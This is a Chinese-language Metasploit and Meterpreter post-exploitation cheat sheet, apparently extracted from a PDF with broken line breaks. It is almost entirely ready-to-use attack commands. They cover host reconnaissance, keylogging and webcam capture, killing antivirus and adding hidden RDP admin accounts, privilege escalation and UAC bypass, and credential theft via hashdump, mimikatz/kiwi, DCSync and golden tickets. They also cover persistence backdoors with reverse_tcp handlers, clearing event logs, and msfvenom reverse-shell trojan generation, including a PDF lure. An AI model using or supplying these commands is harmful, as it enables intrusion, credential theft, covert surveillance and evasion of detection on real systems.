1
、获取目标分区情况
run post/windows/gather/forensics/enum_drives
2
、检测是否是虚拟主机
run post/windows/gather/checkvm
3
、获取当前安装的应用程序
run post/windows/gather/enum_applications
4
、获取用户登录信息
run post/windows/gather/enum_logged_on_users
5
、收集系统环境信息
run post/multi/gather/env
6
、查看开启的服务
run post/windows/gather/enum_services
7
、查看目标主机最近的操作
run post/windows/gather/dumplinks
8
、其他操作
删除用户
run post/wndows/manage/delete_user username=aiyou
添加账户
run post/windows/manage/enable_rdp USERNAME=aiyou PASSWORD=aiyou
关闭杀软
windows/manage/killav
9
、查看目标机安装了哪些应用、补丁
run post/windows/gather/enum_applications
10
、对目标进行漏洞扫描
(
提权操作
)
run post/multi/recon/local_exploit_suggester
执行之后给了我们很多
exploit
我们就随便挑几个
exploit/windows/local/ms16_014_wmi_recv_notif
这个提权成功
hashdump
hashdump
是查询密码
hash
: 因为有时候你得搜集密码来进⾏爆破别的⽤户
信息收集:
run post/windows/gather/checkvm #
是否虚拟机
run post/linux/gather/checkvm #
是否虚拟机
run post/windows/gather/forensics/enum_drives #
查看分区
run post/windows/gather/enum_applications #
获取安装软件信息
run post/windows/gather/dumplinks #
获取最近的文件操作
run post/windows/gather/enum_ie #
获取
IE
缓存
run post/windows/gather/enum_chrome #
获取
Chrome
缓存
run post/windows/gather/enum_patches #
补丁信息
run post/windows/gather/enum_domain #
查找域控
msf
之键盘记录、屏幕截图、文件操作、
load
扩展等
键盘记录
先是获取到了一个
Meterpreter
,他有这些功能
keyscan_start
开启键盘监听后,再用
keyscan_dump
进行记录的导出,如果不想监听了才
keyscan_stop
。而不是先
keyscan_stop
再
keyscan_dump
keyscan_start
启动键盘记录监听
目标机器输入东西的话,就可以获取到键盘记录
keyscan_dump
成功获取到键盘记录!
< Left Windows >< CR >
是回车键
keyboard_send
输入东西到目标机器上
假设目标机器上有鼠标指针,那么说明可以输入内容,那我们就可以使用
keyboard_send
来输入东西到
目标主机上
目标目前是空的:
这个时候,目标的记事本里就多出了一些内容,就是我们刚刚输入的
hacker_hhhhh
文件操作
操作文件系统
1.
文件的基本操作
ls
:列出当前路径下的所有文件和文件夹。
pwd
或
getwd
:查看当前路径。
search
:搜索文件,使用
search -h
查看帮助。
cat
:查看文件内容,比如
cat test.txt
。
edit
:编辑或者创建文件。和
Linux
系统的
vm
命令类似,同样适用于目标系统是
windows
的情况。
rm
:删除文件。
cd
:切换路径。
mkdir
:创建文件夹。
rmdir
:删除文件夹。
getlwd
或
lpwd
:查看自己系统的当前路径。
lcd
:切换自己当前系统的目录。
lls
:显示自己当前系统的所有文件和文件夹。
getwd
查看目标当前目录
2.
文件的上传和下载
(1) upload
格式:
upload
本地文件路径目标文件路径
(2)download
格式:
download
目标文件路径 本地文件路径
load
扩展
load
可以加载这些:
load -l
其实还可以加载
python
等等
load python
加载
python
加载扩展后,我们可以使用基本的
Python
函数,例如
print
。这可以通过使用
python_execute
命令和标
准
Python
语法来实现。
还可以保存到变量,并使用
-r
开关打印其内容。
运行
python
文件 :
python_import -f /root/liuwx.py
这个好处是,无需对方系统有
python
环境,就可以运行
python
脚本
~
当然,也可以上传很多扩展,比
如
powershell
等等
系统其它操作
1.
关闭防病毒软件
run killav
run post/windows/manage/killav
2.
操作远程桌面
run post/windows/manage/enable_rdp
开启远程桌面
run post/windows/manage/enable_rdp username=test password=test
添加远程桌面的用
户
(
同时也会将该用户添加到管理员组
)
3.
截屏
screenshot
4.
键盘记录
keyscan_start
:开启键盘记录功能
keyscan_dump
:显示捕捉到的键盘记录信息
keyscan_stop
:停止键盘记录功能
5.
执行程序
execute -h
查看使用方法
-H
:创建一个隐藏进程
-a
:传递给命令的参数
-i
:跟进程进行交互
-m
:从内存中执行
-t
:使用当前伪造的线程令牌运行进程
-s
:在给定会话中执行进程
例:
execute -f c:/temp/hello.exe
端口转发和内网代理
1.portfwd
portfwd
是
meterpreter
提供的端口转发功能,在
meterpreter
下使用
portfwd -h
命令查看该命令的
参数。
常用参数:
-l
:本地监听端口
-r
:内网目标的
ip
-p
:内网目标的端口
上面命令执行之后,会将
10.1.1.3
的
3389
端口转发到本地的
2222
端口。
2.pivot
pivot
是
msf
最常用的代理,可以让我们使用
msf
提供的扫描模块对内网进行探测。
(1)
首先需要在
msf
的操作界面下添加一个路由表。
添加命令:
route add
内网
ip
子网掩码
session
的
id
打印命令:
route print
路由添加成功之后就可以在
msf
里访问
10.1.1.0/24
这个网段。
(2)
建立
socks
代理。
如果其它程序需要访问这个内网环境,就可以建立
socks
代理。
msf
提供了
3
个模块用来做
socks
代理。
auxiliary/server/socks4a
use auxiliary/server/socks5
use auxiliary/server/socks_unc
以
auxiliary/server/socks4a
为例,查看需要设置的参数。
一共两个参数:
SRVHOST
:监听的
ip
地址,默认为
0.0.0.0
,一般不需要更改。
SRVPORT
:监听的端口,默认为
1080
。
直接运行
run
命令,就可以成功创建一个
socks4
代理隧道,在
linux
上可以配置
proxychains
使 用,
在windows
可以配置
Proxifier
进行使用。
msf
之常用命令
基础命令
加载模块
use name
查看网络配置
ifconfig
获取进程列表
ps
查看所有
exploit show exploits
查看所有
payload show payloads
查看所有
auxiliary show auxiliary
展示模块详细信息
info
查找模块
search name
查看当前运行的模块
jobs
重启目标机器
reboot
关闭目标机器
shutdown
获取交互
shell shell
当前
meterpreter
到后台
background
离开
msf quit
端口转发
portfwd add -l 6666 -p 3389 -r 192.168.1.2
常用参数:
-l
:本地监听端口
-r
:内网目标的
ip -p
:内网目标的端口
设置
Socks
代理
Socks4a
代理
use auxiliary/server/socks4a
set srvhost 127.0.0.1
set srvport 1080
run
添加路由
获取网段信息
run get_local_subnets
查看帮助
run autoroute –h
添加到目标环境网络
run autoroute -s 192.168.0.1/24
打印添加的路由
run autoroute –p
删除路由
run autoroute -d -s 192.168.0.1/24
execute
执行文件
在目标机中执行文件
execute
创建新进程
cmd.exe
,
-H
不可见,
-i
交互
execute -H -i -f cmd.exe
-f
:指定可执行文件
-H
:创建一个隐藏进程
-a
:传递给命令的参数
-i
:跟进程进行交互
-m
:从内存中执行
-t
: 使用当前伪造的线程令牌运行进程
-s
: 在给定会话中执行进程
migrate
转移进程
获取当前进程
PID getpid
获取进程列表
ps
转移进程
migrate PID
杀死进程
kill PID
自动进程迁移
run post/windows/manage/migrate
监听设置自动转移进程
set autorunscript migrate -f
令牌窃取
使用模块
use incognito
查看可用
token list_tokens -u
假冒
SYSTEM
权限
impersonate_token 'NT AUTHORITY\SYSTEM'
利用假冒身份执行命令
execute -f cmd.exe -i –t
或者直接
shell
即可
返回原始权限
rev2self
提权相关
加载特权提升扩展模块
use priv
获取更多的特权
getprivs
查看补丁信息
run post/windows/gather/enum_patches
可利用
exp
提权检测
use post/multi/recon/local_exploit_suggester
系统服务权限配置错误
use exploit/windows/local/service_permissions
注册表键配置错误提取
use exploit/windows/local/always_install_elevated
可信任服务路径
use exploit/windows/local/trusted_service_path
bypassuac
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask
键盘鼠标设置
禁用鼠标
uictl disable mouse
禁用键盘
uictl disable keyboard
启用鼠标
uictl enable mouse
启用键盘
uictl enable keyboard
键盘记录
#
开始键盘记录
keyscan_start
#
导出记录数据
keyscan_dump
#
结束键盘记录
keyscan_stop
信息搜集
查看当前目录
pwd getwd
查看目标主机信息
sysinfo
检查目标机器闲置时间
idletime
获取代理信息
getproxy
查看目标主机是否运行在虚拟机上
run checkvm run post/windows/gather/checkvm
获取主机安装软件、补丁
run post/windows/gather/enum_applications
获取目标主机环境变量
run post/multi/gather/env
获取
IE
缓存
run post/windows/gather/enum_ie
获取
Chrome
缓存
run post/windows/gather/enum_chrome
获取
Firefox
缓存
run post/windows/gather/enum_firefox
列举当前登录的用户
run post/windows/gather/enum_logged_on_users
查找域控
run post/windows/gather/enum_domain
Windows
凭证搜索
run post/windows/gather/enum_unattend
获取办公文档
run post/windows/gather/dumplinks
获取目标常见信息并保存到本地
run scraper
屏幕截图
screenshot
密码获取
抓取自动登录的用户名和密码
run post/windows/gather/credentials/windows_autologin
hashdump
run post/windows/gather/smart_hashdump
mimikatz
老版
加载
load mimikatz
获取
hash
值
msv
获取明文
Kerberos
获取系统账户信息
wdigest
新版
加载
kiwi
模块:
列举系统中的明文密码:
creds_all
:
#
列举所有凭据
creds_kerberos
:
#
列举所有
kerberos
凭据
creds_msv
:
#
列举所有
msv
凭据
creds_ssp
:
#
列举所有
ssp
凭据
creds_tspkg
:
#
列举所有
tspkg
凭据
creds_wdigest
:
#
列举所有
wdigest
凭据
dcsync
:
#
通过
DCSync
检索用户帐户信息
dcsync_ntlm
:
#
通过
DCSync
检索用户帐户
NTLM
散列、
SID
和
RID
golden_ticket_create
:
#
创建黄金票据
kerberos_ticket_list
:
#
列举
kerberos
票据
kerberos_ticket_purge
:
#
清除
kerberos
票据
kerberos_ticket_use
:
#
使用
kerberos
票据
kiwi_cmd
:
#
执行
mimikatz
的命令,后面接
mimikatz.exe
的命令
lsa_dump_sam
:
#dump
出
lsa
的
SAM
lsa_dump_secrets
:
#dump
出
lsa
的密文
password_change
:
#
修改密码
wifi_list
:
#
列出当前用户的
wifi
配置文件
wifi_list_shared
:
#
列出共享
wifi
配置文件
/
编码
kiwi_cmd
模块可以让我们使用
mimikatz
的全部功能,该命令后面接
mimikatz.exe
的命令
:
kiwi_cmd sekurlsa::logonpasswords
load kiwi
creds_all
获取域散列值
#
使用
psexec_ntdsgrab
模块
use auxiliary/admin/smb/psexec_ntdsgrab
set RHOST set SMBDomain
set SMBUser
set SMBPass
#
基于
meterpreter
会话
use windows/gather/credentials/domain_hashdump
set session ID
流量抓取
查看网卡信息
run packetrecorder -L
查看流量
run packetrecorder -i <
网卡
ID>
端口扫描、主机发现
使用
arp
发现主机
run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24
扫描
tcp
端口
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=3389
防火墙、杀软
关闭杀软
run killav
查看防火墙状态
run getcountermeasure
在
shell
中使用
netsh firewall show opmode
PowerShell
加载脚本模块
powershell_import /root/Desktop/HostRecon.ps1
执行加载的脚本
powershell_execute Invoke-HostRecon
Hash
传递
use exploit/windows/smb/psexec
摄像头、屏幕
查看摄像头信息
webcam_list
使用摄像头拍照
webcam_snap
屏幕监视
run vnc
开启远程桌面
开启远程桌面
run post/windows/manage/enable_rdp
添加用户
run post/windows/manage/enable_rdp USERNAME=gugugu PASSWORD=Root123456789
将
3389
端口转发到
6662
端口
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662
cmdshell
升级
查看全部会话
sessions
选择会话
1 sessions 1
升级
meterpreter sessions -u
会话
id
持久化控制后门
run persistence -X -i 50 -p 4444 -r 192.168.1.7
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.109.137
set LPORT 4444
exploit
针对
linux
平台
目标主机保存的
ssh
身份验证信息
run post/multi/gather/ssh_creds
擦屁股、清痕迹
删除添加的账号
C:\Windows\system32> net user
添加的用户名
/del
删除日志
clearev
关闭所有
session
连接
sessions -K
事件日志
查看事件日志
run event_manager -i
清除事件日志
run event_manager -c
msf
生成木马教程
生成木马命令:
msfvenom
msfcenom
详细语法
-e, –encoder [encoder]
指定需要使用的
encoder
(编码器)
-a, –arch < architecture>
指定
payload
的目标架构
–platform < platform>
指定
payload
的目标平台
-s, –space < length>
设定有效攻击荷载的最大长度
-b, –bad-chars < list>
设定规避字符集,比如
: & #039;\x00\xff& #039;
-i, –iterations < count>
指定
payload
的编码次数
-c, –add-code < path>
指定一个附加的
win32 shellcode
文件
-x, –template < path>
指定一个自定义的可执行文件作为模板
-k, –keep
保护模板程序的动作,注入的
payload
作为一个新的进程运行
–payload-options
列举
payload
的标准选项
-o, –out < path>
保存
payload
-v, –var-name < name>
指定一个自定义的变量,以确定输出格式
–shellest
最小化生成
payload
-h, –help
查看帮助选项
–help-formats
查看
msf
支持的输出格式列表
生成木马语句
二进制
linux:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf
windows:msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe
mac: msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho
web
php:msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php cat shell.php |
pbcopy && echo '<?php ’ | tr -d ‘\n’ > shell.php && pbpaste >> shell.php
asp:msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp
jap:msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp
war:msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war
脚本
python:msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py
bash:msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh
perl:msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl
基于
pdf
的
shellcode
use exploit/windows/fileformat/adobe_utilprintf
msf5 exploit(adobe_utilprintf)>set FILENAME BestComputers-UpgradeInstructions.pdfset
PAYLOAD windows/meterpreter/reverse_tcp
其他的就自己填就好了